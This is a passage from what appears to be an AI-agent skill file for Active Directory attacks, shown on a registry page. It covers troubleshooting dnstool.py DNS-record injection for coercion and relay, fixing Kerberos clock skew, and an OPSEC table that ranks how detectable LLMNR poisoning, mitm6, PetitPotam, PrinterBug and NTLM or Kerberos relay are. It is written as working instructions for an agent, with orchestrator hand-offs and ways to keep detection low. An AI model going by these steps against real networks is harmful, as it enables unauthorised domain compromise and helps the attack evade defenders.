from LDAP, but there can be a brief delay. Wait 30–60 seconds and
retry
dig. If it still fails after 2 minutes, the binary format is likely wrong. - Record name collision — if a record with the same name already
exists (including tombstoned records), the add may silently fail or
create a duplicate that DNS ignores. Check for existing records:
If a stale record exists, remove it first withpython3 dnstool.py -u 'DOMAIN\user' -p 'pass' DC_IP \ -a query -r 'RECORDNAME.DOMAIN.LOCAL' -t A-a remove, then re-add.
If dnstool.py itself fails (connection error, access denied):
- Verify the user has domain user privileges (default allows DNS record
creation in
DomainDnsZones) - Check LDAP connectivity:
ldapsearch -H ldap://DC_IP -x -b "" -s base - Clock skew can affect the LDAP bind — sync clock if needed
KRB_AP_ERR_SKEW (Clock Skew)
Kerberos requires clocks within 5 minutes of the DC. This applies to the initial LDAP enumeration phase (authenticated coercion endpoint discovery), not to the relay attack itself (which uses NTLM). This is a Clock Skew Interrupt — stop immediately and return to the orchestrator. Do not retry or fall back to NTLM for the Kerberos-authenticated operations. The fix requires root:
sudo ntpdate DC_IP
# or
sudo rdate -n DC_IPOPSEC Comparison
| Technique | Network Artifacts | Detection Events | Risk |
| LLMNR/NBNS poisoning | Broadcast responses | Network anomaly | HIGH |
| mitm6 IPv6 DNS | DHCPv6 + DNS replies | Less monitored | MEDIUM |
| PetitPotam (authenticated) | RPC call + SMB callback | 4624 + 4776 | MEDIUM |
| PrinterBug | RPC + Spooler callback | 4624 + 4776 | MEDIUM |
| NTLM relay to SMB | SMB auth forwarding | 4624 type 3 | HIGH |
| NTLM relay to LDAP | LDAP bind forwarding | 4662 | HIGH |
| NTLM relay to AD CS | HTTP enrollment | Certificate issued | MEDIUM |
| Kerberos relay | Kerberos AP-REQ forward | 4769 | LOW |
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

